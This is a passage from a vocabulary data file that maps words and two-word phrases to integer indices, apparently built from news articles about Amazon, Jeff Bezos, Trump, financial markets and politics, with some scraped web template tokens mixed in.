"doj investigation": 147800, "agency llc": 147801, "everybody wants": 147802, "member carolyn": 147803, "lazarus latimes": 147804, "begin paying": 147805, "wrote letter": 147806, "making dent": 147807, "aswith": 147808, "work helping": 147809, "judiciary committee": 147810, "impactful partisan": 147811, "story chinas": 147812, "7tao industrial": 147813, "future years": 147814, "computing including": 147815, "big corporates": 147816, "trump threat": 147817, "warren 2018": 147818, "briley": 147819, "headlinetext amazon": 147820, "prove difficult": 147821, "confusing body": 147822, "central need": 147823, "committee chairwoman": 147824, "systems nasdaq": 147825, "ashland source": 147826, "practiced medicine": 147827, "doing futures": 147828, "rebalance": 147829, "audio version": 147830, "brand quickly": 147831, "dhs budget": 147832, "giving china": 147833, "told boston": 147834, "merger possibility": 147835, "lago flashing": 147836, "dilemmas": 147837, "police standoff": 147838, "process began": 147839, "magazine inquiries": 147840, "fellow survivors": 147841, "destroying cow": 147842, "data operation": 147843, "frequent guests": 147844, "paying politicians": 147845, "earn compared": 147846, "security mail": 147847, "called dhl": 147848, "democratize": 147849, "step process": 147850, "border 61st": 147851, "onex": 147852, "573m": 147853, "goldberg jeffreygoldberg": 147854, "price 710": 147855, "successfully championed": 147856, "economic wariness": 147857, "adrienne": 147858, "kennebunkport": 147859, "trump plan": 147860, "plus shipping": 147861, "penning": 147862, "amat posted": 147863, "promoimage": 147864, "big percentage": 147865, "000 just": 147866, "barely appeared": 147867, "free card": 147868, "mute conservative": 147869, "best prime": 147870, "remain missing": 147871, "learn important": 147872, "rights advocate": 147873, "worry abut": 147874, "grim calculus": 147875, "people fear": 147876, "lobbying agency": 147877, "satellite phones": 147878, "quick fix": 147879, "partial shutdown": 147880, "routers seattle": 147881, "await large": 147882, "tax abatement": 147883, "extinguished america": 147884, "2019 core": 147885, "pure speculation": 147886, "format": 147887, "user based": 147888, "wrecked": 147889, "actively managed": 147890, "squeezing admissions": 147891, "secure amazon": 147892, "fabric high": 147893, "harvey told": 147894, "dope photographer": 147895, "magazine taking": 147896, "extent possible": 147897, "certain groups": 147898, "coffee line": 147899, "operation amazon": 147900, "attainment canada": 147901, "institutionalization": 147902, "child early": 147903, "best": 147904, "sultan claims": 147905, "trump defense": 147906, "increased greatly": 147907, "pat gelsinger": 147908, "likemust": 147909, "suggested amazon": 147910, "company saladish": 147911, "late": 147912, "binding contracts": 147913, "virginia understanding": 147914, "wieser senior": 147915, "establish postal": 147916, "case 2018": 147917, "strong decrease": 147918, "better sp": 147919, "covered ton": 147920, "border region": 147921, "devastating supreme": 147922, "know trump": 147923, "old lauren": 147924, "drivers delivering": 147925, "media stunned": 147926, "istoric": 147927, "bought 171": 147928, "ubs analysts": 147929, "bezos phrase": 147930, "idea trump": 147931, "employee advocacy": 147932, "laughable incoherent": 147933, "managing staff": 147934, "moon": 147935, "critical support": 147936, "miserable lives": 147937, "theweek": 147938, "assisting": 147939, "insider mashable": 147940, "box customer": 147941, "managers drivers": 147942, "help amazon": 147943, "bezos individual": 147944, "bestseller charts": 147945, "lobbying quarter": 147946, "china treats": 147947, "attack continue": 147948, "deal sees": 147949, "disabilities": 147950, "retreat": 147951, "defense consumer": 147952, "bankruptcy court": 147953, "wonderfully": 147954, "president contends": 147955, "haley despite": 147956, "lima trump": 147957, "profits earnings": 147958, "having changed": 147959, "photo rick": 147960, "quasi": 147961, "anti trust": 147962, "wyckhouse": 147963, "soft money": 147964, "reuters report": 147965, "assistants": 147966, "players don": 147967, "crisis sent": 147968, "pares": 147969, "recruiting": 147970, "required meetings": 147971, "post boeing": 147972, "stick depending": 147973, "amazon advance": 147974, "nasdaq extend": 147975, "movado mov": 147976, "confined": 147977, "amazon walmart": 147978, "going bit": 147979, "trump approach": 147980, "akufo": 147981, "paid women": 147982, "break bolduan": 147983, "walkouts turn": 147984, "alas": 147985, "sony": 147986, "president say": 147987, "leveraging control": 147988, "free innovation": 147989, "primarily related": 147990, "old boy": 147991, "goggles": 147992, "267 billion": 147993, "remediation plan": 147994, "warehouse closet": 147995, "ram": 147996, "consumable manufacturers": 147997, "usually earned": 147998, "atypical": 147999, "posted quarterly": 148000, "notoriously secretive": 148001, "rewarded dissidents": 148002, "mail consisted": 148003, "confines": 148004, "treasury market": 148005, "consider projects": 148006, "rep mark": 148007, "sure amazon": 148008, "streaming rights": 148009, "geekwire spoke": 148010, "scientists bombshell": 148011, "cadaver dogs": 148012, "managed": 148013, "breaks hickman": 148014, "wage pressures": 148015, "opposed amazon": 148016, "digital trends": 148017, "court moves": 148018, "nil nought": 148019, "valuation destruction": 148020, "incidentally amazon": 148021, "email trump": 148022, "carterpage created": 148023, "guidance going": 148024, "association badge": 148025, "new north": 148026, "googl google": 148027, "quintessentially american": 148028, "9c59 8e811a57a619": 148029, "citi chief": 148030, "rich subsidizing": 148031, "stakeholder content": 148032, "state add_commas": 148033, "saudi claim": 148034, "earth newborn": 148035, "dea mod": 148036, "videoinstance config": 148037, "phrased": 148038, "seekers": 148039, "resolution requests": 148040, "radio consortium": 148041, "trump bashing": 148042, "postal office": 148043, "unidentified male": 148044, "multiple technology": 148045, "growth did": 148046, "great halloween": 148047, "jr blastedcnn": 148048, "employee productivity": 148049, "sheffield": 148050, "leary image": 148051, "laguardia": 148052, "marillyn": 148053, "remains north": 148054, "watched": 148055, "uber introduced": 148056, "overall income": 148057, "pressure national": 148058, "current law": 148059, "doesn protect": 148060, "supporting": 148061, "agreement sex": 148062, "companies choose": 148063, "facebook scandal": 148064, "stability": 148065, "introduce resolution": 148066, "prado": 148067, "deliberation": 148068, "mail firms": 148069, "amazing project": 148070, "trustthe": 148071, "000 acre": 148072, "analysts think": 148073, "general american": 148074, "j8i c0": 148075, "response ben": 148076, "corporate citizenship": 148077, "takes center": 148078, "000 refugees": 148079, "twitter appear": 148080, "billionaires index": 148081, "reuters pompeo": 148082, "lines saks": 148083, "maezawa weren": 148084, "arabia abdullah": 148085, "nyt tech": 148086, "hasn turned": 148087, "sold shirts": 148088, "sector bartiromo": 148089, "soybeans china": 148090, "know mattingly": 148091, "diet hack": 148092, "vigilant": 148093, "trust issues": 148094, "largest member": 148095, "country home": 148096, "jpgnews": 148097, "companies making": 148098, "independent federal": 148099, "additional initiatives": 148100, "kristine": 148101, "educate": 148102, "estate brian": 148103, "445 million": 148104, "ring dubai": 148105, "tweet": 148106, "extraordinary step": 148107, "took home": 148108, "celebratory dance": 148109, "netflixs new": 148110, "fds": 148111, "tom bateman": 148112, "ifhe": 148113, "different buying": 148114, "mailbox geddes": 148115, "receive billion": 148116, "lagged effect": 148117, "profound positive": 148118, "analyst told": 148119, "promising growth": 148120, "live snl": 148121, "fedex headquarters": 148122, "retail shipments": 148123, "sampson": 148124, "bashing stories": 148125, "dods": 148126, "different life": 148127, "electronics morgan": 148128, "data lot": 148129, "entire customs": 148130, "subsidize coal": 148131, "online market": 148132, "benefited trump": 148133, "united tech": 148134, "area amazon": 148135, "nyc19 pictures": 148136, "powerful rivals": 148137, "retired judges": 148138, "inc_serid": 148139, "rate pact": 148140, "senate confirmation": 148141, "null inc_show_feature_imageflag": 148142, "spared certain": 148143, "members buy": 148144, "buy anthropologie": 148145, "warner growth": 148146, "demand meal": 148147, "billion stated": 148148, "lisa lerer": 148149, "indian american": 148150, "funny daddy": 148151, "services providing": 148152, "accomplishments thanks": 148153, "hourly employees": 148154, "futures rise": 148155, "young man": 148156, "services figures": 148157, "fbi joining": 148158, "nielsen": 148159, "janeiro published": 148160, "planet": 148161, "satirical washington": 148162, "fulfill orders": 148163, "watchers struggling": 148164, "represents mind": 148165, "rates charged": 148166, "coping": 148167, "owned oil": 148168, "pond reaches": 148169, "delong ring": 148170, "large city": 148171, "expectations boosted": 148172, "radio networks": 148173, "bits nibbles": 148174, "amazon rips": 148175, "left leaning": 148176, "annual basis": 148177, "list follow": 148178, "netflix earlier": 148179, "owned washington": 148180, "weather 6am": 148181, "leading economic": 148182, "product update": 148183, "extreme": 148184, "politics changed": 148185, "brazil carbon": 148186, "procurement agency": 148187, "wealthy investors": 148188, "geo politically": 148189, "rob schwietzer": 148190, "aid president": 148191, "natural consequence": 148192, "business declared": 148193, "capital loss": 148194, "payloader": 148195, "human blood": 148196, "kyl": 148197, "obrador political": 148198, "slightly weaker": 148199, "fine print": 148200, "high nevada": 148201, "advisories": 148202, "know look": 148203, "whitaker told": 148204, "fun cap": 148205, "carrell shot": 148206, "sprucing": 148207, "crm climbed": 148208, "yg2nhpt78i": 148209, "government did": 148210, "publishing house": 148211, "160bn bezos": 148212, "events generate": 148213, "raising commercial": 148214, "fracas": 148215, "traders don": 148216, "rosenstein talk": 148217, "simmering officials": 148218, "entirely neglected": 148219, "mean trump": 148220, "lieutenants": 148221, "huber security": 148222, "systematic abuse": 148223, "uber air": 148224, "renault merger": 148225, "organizers protesting": 148226, "seconds severe": 148227, "guggenheim partners": 148228, "screeds gain": 148229, "late 80s": 148230, "rodents": 148231, "anissa": 148232, "owning cnn": 148233, "standalone business": 148234, "delta general": 148235, "imdb dogtooth": 148236, "wolff source": 148237, "petrochina oil": 148238, "tucker diatribe": 148239, "remained optimistic": 148240, "owo uvu": 148241, "senate rejects": 148242, "remain high": 148243, "foundational space": 148244, "people wanted": 148245, "hitler mao": 148246, "imposing minimum": 148247, "undermine": 148248, "free kindle": 148249, "hartford": 148250, "brazil uruguay": 148251, "distraction count": 148252, "wing politics": 148253, "ambiguity": 148254, "u0 l2": 148255, "trump travel": 148256, "service nixed": 148257, "jwn kroger": 148258, "remains smoky": 148259, "amazon caravan": 148260, "purchases leave": 148261, "shows americans": 148262, "wasn satisfied": 148263, "retain teachers": 148264, "rules called": 148265, "plagiarism": 148266, "european manufacturer": 148267, "\u0627\u0644\u0628\u0639\u064a\u062f": 148268, "trump announced": 148269, "cool ways": 148270, "news agency": 148271, "fallout collected": 148272, "sustainable arena": 148273, "7a": 148274, "car parts": 148275, "publicly write": 148276, "new versus": 148277, "unique insight": 148278, "unit ge": 148279, "people just": 148280, "signficance": 148281, "shelters": 148282, "racism dc": 148283, "587 000": 148284, "landmark note": 148285, "claims scott": 148286, "opiod epidemic": 148287, "cover increased": 148288, "council trump": 148289, "kumar": 148290, "beat 2018": 148291, "mankind": 148292, "reported 893": 148293, "garrick kidman": 148294, "bezos wasn": 148295, "grosso state": 148296, "stalemate minutes": 148297, "cynics": 148298, "compromise averting": 148299, "streak ending": 148300, "experiment studying": 148301, "access amazon": 148302, "right muckerman": 148303, "mccabe saying": 148304, "alphabet given": 148305, "enquirer exposes": 148306, "cfra research": 148307, "noble bks": 148308, "virginia gov": 148309, "polarizing": 148310, "companies going": 148311, "hide enquirer": 148312, "billion aws": 148313, "fischer reports": 148314, "tackle growing": 148315, "seattle suburb": 148316, "punitive damages": 148317, "herera sue": 148318, "sidecar": 148319, "visit french": 148320, "family run": 148321, "etsy ceo": 148322, "says andy": 148323, "photos melania": 148324, "feist": 148325, "alibaba access": 148326, "55m bezos": 148327, "film world": 148328, "vermont 2020": 148329, "myreipro dot": 148330, "businesses pay": 148331, "timmins mom": 148332, "andsay": 148333, "tijuana": 148334, "ask economist": 148335, "billion ninety": 148336, "told social": 148337, "competitive conduct": 148338, "local county": 148339, "barrons": 148340, "digital strategist": 148341, "seriously wall": 148342, "wapo josh": 148343, "image todd": 148344, "hickman stated": 148345, "cbs cnn": 148346, "bought items": 148347, "dressing": 148348, "police states": 148349, "democratic lawmaker": 148350, "classification disputes": 148351, "nvidia loses": 148352, "important protections": 148353, "asked roig": 148354, "content claire": 148355, "dealer alec": 148356, "powerball turn": 148357, "company legal": 148358, "military brat": 148359, "ohio abortion": 148360, "2018 pledge": 148361, "wrote wrong": 148362, "2017 las": 148363, "emarketer verna": 148364, "ma hc": 148365, "unprecedented scale": 148366, "facing criticism": 148367, "487 locations": 148368, "getinstance": 148369, "rep michael": 148370, "separately amazon": 148371, "methods familiar": 148372, "considered hot": 148373, "dreamed": 148374, "uae": 148375, "really tough": 148376, "joined kathie": 148377, "individuals pursuing": 148378, "including eliminating": 148379, "crossed billion": 148380, "initiative created": 148381, "farmer": 148382, "formula appears": 148383, "angry maga": 148384, "acquisitions stand": 148385, "fraud perjury": 148386, "wanna": 148387, "mulroney": 148388, "cbs evening": 148389, "formed partnerships": 148390, "leadership 2020": 148391, "aide douglas": 148392, "trump list": 148393, "weisberger buy": 148394, "story appeared": 148395, "business empire": 148396, "unrivaled online": 148397, "rec mizuho": 148398, "quality control": 148399, "atmospheric": 148400, "tomi adeyemi": 148401, "steadily increased": 148402, "awe": 148403, "amazon founders": 148404, "gone crazy": 148405, "thomas magnum": 148406, "golf course": 148407, "predominately": 148408, "concert series": 148409, "bias big": 148410, "error compared": 148411, "alliance forming": 148412, "sorkin": 148413, "addictive drugs": 148414, "rocks vest": 148415, "mrntf 8700": 148416, "edged higher": 148417, "orlean simon": 148418, "writers freelancers": 148419, "present gun": 148420, "morning harvard": 148421, "automatic pay": 148422, "public sources": 148423, "supporters believe": 148424, "maintain contracts": 148425, "fictional villain": 148426, "outlets cnbc": 148427, "faced lot": 148428, "utterance": 148429, "makes huge": 148430, "enforcing speedups": 148431, "accompanying": 148432, "believed fervently": 148433, "providing discounted": 148434, "bumper sticker": 148435, "sold ecl": 148436, "added": 148437, "engaging": 148438, "statement governor": 148439, "did video": 148440, "cleared mini": 148441, "tweet marks": 148442, "102602cb 231": 148443, "canada toke": 148444, "services apart": 148445, "issues according": 148446, "coffee giant": 148447, "build entire": 148448, "department lawyer": 148449, "amazon lucrative": 148450, "life self": 148451, "think tank": 148452, "space race": 148453, "officials corporate": 148454, "juvenile petty": 148455, "marcus stanley": 148456, "overlapping interests": 148457, "latest homophobic": 148458, "nasdaq stocks": 148459, "ousts": 148460, "join forces": 148461, "self reliant": 148462, "worth today": 148463, "trucker": 148464, "votesaveamerica": 148465, "ceo drew": 148466, "declaring 300": 148467, "rl turk": 148468, "starts tour": 148469, "680 words": 148470, "run outside": 148471, "helping low": 148472, "features iwan": 148473, "employees donated": 148474, "thought glad": 148475, "children just": 148476, "suggested ami": 148477, "prompting": 148478, "facebook people": 148479, "jan25 help": 148480, "seeking declaratory": 148481, "1084627451983073280 twitter": 148482, "baker nyt": 148483, "import services": 148484, "terms galloway": 148485, "unanimously": 148486, "amazon worth": 148487, "driver seat": 148488, "cohen steers": 148489, "comics character": 148490, "offbeat fast": 148491, "valued partner": 148492, "honor": 148493, "sheuvachman": 148494, "historic landmark": 148495, "enquirer lawyers": 148496, "big loser": 148497, "woman berlin": 148498, "indonesia judge": 148499, "troop deployments": 148500, "peacockery": 148501, "says steve": 148502, "child sexual": 148503, "know president": 148504, "contaminates soil": 148505, "laps": 148506, "curated independently": 148507, "howell": 148508, "information warfare": 148509, "sorted packages": 148510, "videodescriptiondivid js": 148511, "fred funneled": 148512, "worst investment": 148513, "tariff category": 148514, "monopolists demand": 148515, "build cloud": 148516, "new time": 148517, "helping stabilize": 148518, "rate tightening": 148519, "house senate": 148520, "2020 fda": 148521, "data ahead": 148522, "reason president": 148523, "community 600": 148524, "women killed": 148525, "tech wings": 148526, "kos": 148527, "austin evers": 148528, "overall viewed": 148529, "corporations trump": 148530, "ignored": 148531, "air operations": 148532, "enquirer allegations": 148533, "nytimes": 148534, "enemy bezos": 148535, "terry pratchett": 148536, "buy coffee": 148537, "apple insiders": 148538, "hurt safe": 148539, "provided security": 148540, "targeted cnn": 148541, "believe ultimately": 148542, "widely attributed": 148543, "advise web": 148544, "quickly learned": 148545, "history reveals": 148546, "tweeted dianaee": 148547, "enquirer drew": 148548, "demanding amazon": 148549, "harrowing hectic": 148550, "gorsuch": 148551, "year corporations": 148552, "world major": 148553, "bush hager": 148554, "important programs": 148555, "isstill evaluating": 148556, "zones incentivize": 148557, "republican accusations": 148558, "adjusted according": 148559, "serving hits": 148560, "outsourcing": 148561, "memphis good": 148562, "feel believe": 148563, "20m": 148564, "polls point": 148565, "preschools zuckerberg": 148566, "companies insider": 148567, "california santa": 148568, "amazon aws": 148569, "best efforts": 148570, "wages data": 148571, "groene": 148572, "significant questions": 148573, "allows users": 148574, "embarrassing pictures": 148575, "illustrates": 148576, "educators katie": 148577, "doctor visit": 148578, "shadows": 148579, "gain stop": 148580, "chicago alleged": 148581, "believing books": 148582, "pilot hostilities": 148583, "languages": 148584, "recommends mail": 148585, "saw record": 148586, "netflix suspiria": 148587, "generous parental": 148588, "rebecca akufo": 148589, "foto incendida": 148590, "oxymoronic": 148591, "driving traffic": 148592, "kudlow": 148593, "barely notice": 148594, "magically delivers": 148595, "projects following": 148596, "doesn propose": 148597, "chuck points": 148598, "shawna": 148599, "titled restructure": 148600, "company bans": 148601, "recognized expert": 148602, "metros": 148603, "574": 148604, "hates trump": 148605, "easy amazon": 148606, "enquirer emails": 148607, "trump government": 148608, "washington insists": 148609, "pfe": 148610, "appear stalled": 148611, "service dimondstein": 148612, "charger look": 148613, "say consumers": 148614, "dod authorization": 148615, "mining rainforest": 148616, "writes joe": 148617, "powerful wind": 148618, "covering immigration": 148619, "imminent": 148620, "francisco ____________________________today": 148621, "won sign": 148622, "drains": 148623, "amid amazon": 148624, "enforce fines": 148625, "granted illegal": 148626, "building wall": 148627, "blumenthal defended": 148628, "present service": 148629, "oil launching": 148630, "unlike ordinary": 148631, "challenging unregulated": 148632, "lead remediation": 148633, "cities provides": 148634, "data misuse": 148635, "readmorearticles null": 148636, "court fact": 148637, "formed company": 148638, "robo": 148639, "female rapist": 148640, "pegged wayfair": 148641, "bypassing conservative": 148642, "diversify globally": 148643, "thrives": 148644, "deliveries trump": 148645, "profile": 148646, "mel gibson": 148647, "craig coyne": 148648, "dell dell": 148649, "shoes goldman": 148650, "locations maybe": 148651, "hq2 debate": 148652, "dives": 148653, "gordon managing": 148654, "bombard consumers": 148655, "vendor connecticut": 148656, "2018 telsey": 148657, "competitor president": 148658, "later stages": 148659, "takes global": 148660, "strikingly": 148661, "forgotten": 148662, "worldwide 341": 148663, "promoting program": 148664, "forgiveness program": 148665, "insider prime": 148666, "calling customer": 148667, "unsecured iphone": 148668, "hasn completely": 148669, "plane enders": 148670, "brewing": 148671, "wrestle": 148672, "dating crudo": 148673, "negligent handling": 148674, "trump kool": 148675, "city decided": 148676, "concluded psssttt": 148677, "government shuts": 148678, "effect amazon": 148679, "lobby newspaper": 148680, "cheese copyright": 148681, "tarps": 148682, "rtx based": 148683, "story questions": 148684, "amazon india": 148685, "utm_term": 148686, "seventeen": 148687, "patreon": 148688, "asked legal": 148689, "hours left": 148690, "effectively undercutting": 148691, "levy extreme": 148692, "story nikkei": 148693, "africa tour": 148694, "filed lawsuit": 148695, "week wished": 148696, "recreational marijuana": 148697, "finance think": 148698, "executive jack": 148699, "reimbursement": 148700, "indicate agile": 148701, "comparison": 148702, "consumers care": 148703, "home assistants": 148704, "secret psych": 148705, "wire warning": 148706, "threat separately": 148707, "jim acosta": 148708, "jeb yeah": 148709, "day roughly": 148710, "spend combined": 148711, "reuters nov": 148712, "new working": 148713, "tweet slamming": 148714, "papers linked": 148715, "smart energy": 148716, "inc_track_changesflag": 148717, "mandatory arbitration": 148718, "society today": 148719, "line conservatives": 148720, "reads photo": 148721, "tail": 148722, "bring home": 148723, "suite erp": 148724, "know exactly": 148725, "activity amzn": 148726, "quietly dropped": 148727, "posted tweet": 148728, "appl supplier": 148729, "dossier putin": 148730, "profit netflix": 148731, "jeers": 148732, "law sunscreen": 148733, "sourcefilene basement": 148734, "financial footprint": 148735, "shay": 148736, "crisis instead": 148737, "microsoft corp": 148738, "raged": 148739, "generalized sleaze": 148740, "factthat mccabe": 148741, "lodging rent": 148742, "horrid": 148743, "touring new": 148744, "accusing china": 148745, "planned second": 148746, "online form": 148747, "staffer directly": 148748, "insider verizon": 148749, "investigating weinstein": 148750, "headquarters nyc1": 148751, "random bezos": 148752, "sen rand": 148753, "great medicine": 148754, "city specifically": 148755, "tides": 148756, "middleweight": 148757, "clothing shoes": 148758, "long given": 148759, "subjects related": 148760, "story uber": 148761, "participating": 148762, "4k words": 148763, "pubggad pubgmhbd": 148764, "stoxx": 148765, "voracious reader": 148766, "victory bezos": 148767, "depressing": 148768, "company repurchased": 148769, "implicated trump": 148770, "desney": 148771, "barriers facilitating": 148772, "book continues": 148773, "frequently accused": 148774, "ms bush": 148775, "bezos building": 148776, "news broadcasting": 148777, "admp today": 148778, "advise trump": 148779, "barela": 148780, "exploring ways": 148781, "philly suburbs": 148782, "filing divorce": 148783, "montellaro": 148784, "extreme bearishness": 148785, "effect prior": 148786, "trade white": 148787, "avoided high": 148788, "post news": 148789, "potus began": 148790, "court donovan": 148791, "iran prison": 148792, "year viral": 148793, "customer loyalty": 148794, "inquiring minds": 148795, "quickly deleted": 148796, "rheinberg germany": 148797, "broussard": 148798, "health benefits": 148799, "expect warmer": 148800, "blooms": 148801, "advocates": 148802, "station manager": 148803, "government experience": 148804, "arrange": 148805, "peak amazon": 148806, "p7 t9x": 148807, "wage vendetta": 148808, "semiconductor index": 148809, "social circle": 148810, "period drama": 148811, "nichol": 148812, "calls including": 148813, "russells": 148814, "red meat": 148815, "raises privacy": 148816, "blame rapidly": 148817, "people play": 148818, "group devoted": 148819, "economist robert": 148820, "time security": 148821, "pros": 148822, "isn competition": 148823, "recipes book": 148824, "homebody guide": 148825, "stumble": 148826, "mosley": 148827, "event best": 148828, "jealousy particular": 148829, "total worth": 148830, "hyde performance": 148831, "trump thundered": 148832, "services trump": 148833, "moving antitrust": 148834, "eu beginning": 148835, "analyzed risk": 148836, "blood cells": 148837, "mother attempts": 148838, "helped popularize": 148839, "dominating headlines": 148840, "medium adding": 148841, "hurricane videocmsurl": 148842, "higher price": 148843, "unopposed": 148844, "shareholders forte": 148845, "color detainees": 148846, "fest market": 148847, "rozic wf": 148848, "airtight evidence": 148849, "attacks amazon": 148850, "role play16": 148851, "pozzebom ag\u00eancia": 148852, "peek fox": 148853, "earth world": 148854, "2015 corrugated": 148855, "nah long": 148856, "nisha": 148857, "frank murray": 148858, "305vbuonjl": 148859, "site attracting": 148860, "did include": 148861, "samantha bee": 148862, "childhood warns": 148863, "kesel": 148864, "shipping process": 148865, "indefensible": 148866, "leaders machine": 148867, "welch vt": 148868, "jrhoten wyomingnews": 148869, "think afghanistan": 148870, "atrocities": 148871, "tweeted couple": 148872, "universally held": 148873, "glossy pro": 148874, "reach hey": 148875, "outrage donald": 148876, "southern port": 148877, "2017 reuters": 148878, "liberal think": 148879, "bezos public": 148880, "billion lawmakers": 148881, "amazon ex": 148882, "help clients": 148883, "groups governmental": 148884, "liberal wedges": 148885, "imposed economic": 148886, "publication sourcing": 148887, "poured lot": 148888, "troops": 148889, "zaman": 148890, "danielle unplugged": 148891, "additional schools": 148892, "merchandise": 148893, "technology venture": 148894, "longtime personal": 148895, "sinclair local": 148896, "shortage": 148897, "brandon": 148898, "casper star": 148899, "walmart walmart": 148900, "voiced outrage": 148901, "big banks": 148902, "camera just": 148903, "enabling future": 148904, "policing bad": 148905, "hq2 new": 148906, "people knowing": 148907, "pignolet": 148908, "billion david": 148909, "charts screen": 148910, "septuagenarian": 148911, "suggesting rise": 148912, "union executive": 148913, "length 90149": 148914, "care today": 148915, "deadly outbreak": 148916, "hard fall": 148917, "sethamandel": 148918, "canada france": 148919, "purchasing products": 148920, "zuckerberg hearing": 148921, "matters earlier": 148922, "governor objects": 148923, "saddled": 148924, "fulfillment depot": 148925, "week women": 148926, "selfish ruling": 148927, "typical mistake": 148928, "secret rooms": 148929, "butterfly": 148930, "started": 148931, "stores century": 148932, "schooner": 148933, "funk": 148934, "lowey earlier": 148935, "christmas trees": 148936, "sally goldenberg": 148937, "grow dave": 148938, "oversaw": 148939, "million grant": 148940, "indian oil": 148941, "beijing lenovo": 148942, "says family": 148943, "governor ralph": 148944, "marketwatch trump": 148945, "detroit tigers": 148946, "immortal": 148947, "yorkers appear": 148948, "activists critical": 148949, "guilty opioid": 148950, "split hq2": 148951, "advertisements called": 148952, "metropolitan area": 148953, "conflate publications": 148954, "jay asher": 148955, "amazon negotiated": 148956, "ezasscul border": 148957, "banned trump": 148958, "woes": 148959, "rival mohammed": 148960, "iguana": 148961, "great great": 148962, "excludes": 148963, "entirely deny": 148964, "impractical": 148965, "keepers nbc": 148966, "ncosh sanders": 148967, "petitions amazon": 148968, "organic means": 148969, "broadcast media": 148970, "linkedin headline": 148971, "tantamount": 148972, "trump bizarre": 148973, "rupees": 148974, "consumers thoroughly": 148975, "gauges": 148976, "undercut hillary": 148977, "live shows": 148978, "service uso": 148979, "540": 148980, "seeing nvidia": 148981, "market mayhem": 148982, "released book": 148983, "crash wedding": 148984, "google disputes": 148985, "divorce described": 148986, "offense attack": 148987, "local jobs": 148988, "rare mega": 148989, "post serving": 148990, "shows sen": 148991, "clemmons trump": 148992, "improving data": 148993, "mcdaniel": 148994, "willkie kasie": 148995, "xo5kxqqirk": 148996, "approximately 137": 148997, "2011 rex": 148998, "benefit real": 148999, "delta julian": 149000, "developing markets": 149001, "geometry language": 149002, "threatens america": 149003, "carlos slim": 149004, "sell official": 149005, "bezos capacity": 149006, "suv headlineposttext": 149007, "weakness": 149008, "criticized amazon": 149009, "mae": 149010, "buy products": 149011, "focus writer": 149012, "tutor hint": 149013, "jonathan feeney": 149014, "tragedies": 149015, "family based": 149016, "represented threat": 149017, "disturbing number": 149018, "attempt caption": 149019, "uncommon reason": 149020, "trump kicked": 149021, "155 million": 149022, "publications include": 149023, "singer litigation": 149024, "research scientists": 149025, "administration push": 149026, "sites amazon": 149027, "amazon bruce": 149028, "indianapolis indiana": 149029, "ice storms": 149030, "members pay": 149031, "ives head": 149032, "brexit brief": 149033, "charlotte light": 149034, "greg gianforte": 149035, "told trump": 149036, "post sexual": 149037, "market foolery": 149038, "ljh": 149039, "inadvertently": 149040, "goods ahead": 149041, "inadvertently doing": 149042, "orders preparations": 149043, "alexa compatible": 149044, "certainly different": 149045, "lawyer says": 149046, "gerety": 149047, "breath focuses": 149048, "activities described": 149049, "500 story": 149050, "renovate infrastructure": 149051, "attorney richard": 149052, "government package": 149053, "example borrow": 149054, "congress authorized": 149055, "seriously tested": 149056, "free blogging": 149057, "really fabulous": 149058, "lost according": 149059, "right programs": 149060, "restored shares": 149061, "delivering packets": 149062, "brauer economist": 149063, "particularly true": 149064, "journalist detained": 149065, "risk students": 149066, "trump derangement": 149067, "coat dress": 149068, "officially disclose": 149069, "fee cape": 149070, "article discussing": 149071, "multiple agencies": 149072, "specifically cited": 149073, "estimated trump": 149074, "dark edge": 149075, "york progressives": 149076, "frenzied": 149077, "price young": 149078, "entity called": 149079, "finally preparing": 149080, "climate policy": 149081, "weta": 149082, "amazon talked": 149083, "lorre heads": 149084, "just plug": 149085, "somebody ought": 149086, "seafair 2016": 149087, "tire grip": 149088, "cup 2018": 149089, "products including": 149090, "facebook fallout": 149091, "raymond": 149092, "innovation curb": 149093, "initially rose": 149094, "notes referring": 149095, "policy stands": 149096, "800 plus": 149097, "including numerous": 149098, "china unit": 149099, "increasingly hostile": 149100, "100m teensafe": 149101, "exhibitionist age": 149102, "conference newsletter": 149103, "forest management": 149104, "google apparently": 149105, "services mcdowell": 149106, "time home": 149107, "stories mailed": 149108, "putting personal": 149109, "nuanced mind": 149110, "outrageous trump": 149111, "banned user": 149112, "widespread criticism": 149113, "catered": 149114, "s0 i4": 149115, "findings conclude": 149116, "enjoyed generous": 149117, "loss widens": 149118, "landslide": 149119, "defense news": 149120, "echo lot": 149121, "wireless earbuds": 149122, "issue declaratory": 149123, "sent similar": 149124, "hachette": 149125, "allow allocation": 149126, "amazon accounts": 149127, "read apparel": 149128, "tight world": 149129, "comments follow": 149130, "analyst christian": 149131, "flames": 149132, "awaaz": 149133, "public rebuke": 149134, "lower electricity": 149135, "providers vendors": 149136, "chairman andy": 149137, "companies inspire": 149138, "orianna": 149139, "markets took": 149140, "charlotte naomi": 149141, "ago marrero": 149142, "experiencing double": 149143, "mccabe npr": 149144, "firing discipline": 149145, "asfouri afp": 149146, "president claims": 149147, "obama secured": 149148, "whitefish city": 149149, "cohen details": 149150, "national geographic": 149151, "discussed firing": 149152, "looking q4": 149153, "legal residents": 149154, "lunar": 149155, "transfer lp": 149156, "wrote fast": 149157, "amazon alexa": 149158, "grabenstein amazon": 149159, "counterparts story": 149160, "pires": 149161, "van duzer": 149162, "character toad": 149163, "profitable companies": 149164, "reporting schedule": 149165, "report pdf": 149166, "giant promises": 149167, "solutions": 149168, "simply gained": 149169, "inherited": 149170, "overactivism": 149171, "hates unions": 149172, "coal": 149173, "replace lost": 149174, "reed jonerp": 149175, "drop congress": 149176, "brilliant thriller": 149177, "cryptocurrency instead": 149178, "2015 according": 149179, "coming bet": 149180, "influential": 149181, "delivery president": 149182, "sequences mayans": 149183, "newspaper security": 149184, "incorrigible progressive": 149185, "best water": 149186, "created cozi": 149187, "interface": 149188, "late 2000s": 149189, "218 votes": 149190, "sequel war": 149191, "spineless": 149192, "toothless": 149193, "rugged read": 149194, "pbi publishers": 149195, "capitalization briefly": 149196, "quickly arkansas": 149197, "year long": 149198, "associates located": 149199, "emaar": 149200, "york granted": 149201, "chocked": 149202, "stories giving": 149203, "slowest quarter": 149204, "breathtaking trump": 149205, "prosecutors late": 149206, "benzinga": 149207, "trump sits": 149208, "mathew ingram": 149209, "growth baked": 149210, "recallproximic undefined": 149211, "w9x": 149212, "lawyer steven": 149213, "anne say": 149214, "8220 pushed": 149215, "potentially claiming": 149216, "season twin": 149217, "points dis": 149218, "die hard": 149219, "gracing": 149220, "human cells": 149221, "share mark": 149222, "tough spot": 149223, "included signs": 149224, "ameinfo": 149225, "carefully crafted": 149226, "leaveshare employees": 149227, "angry talk": 149228, "thinks senator": 149229, "badmouthed": 149230, "calculated": 149231, "authenticity": 149232, "president encourages": 149233, 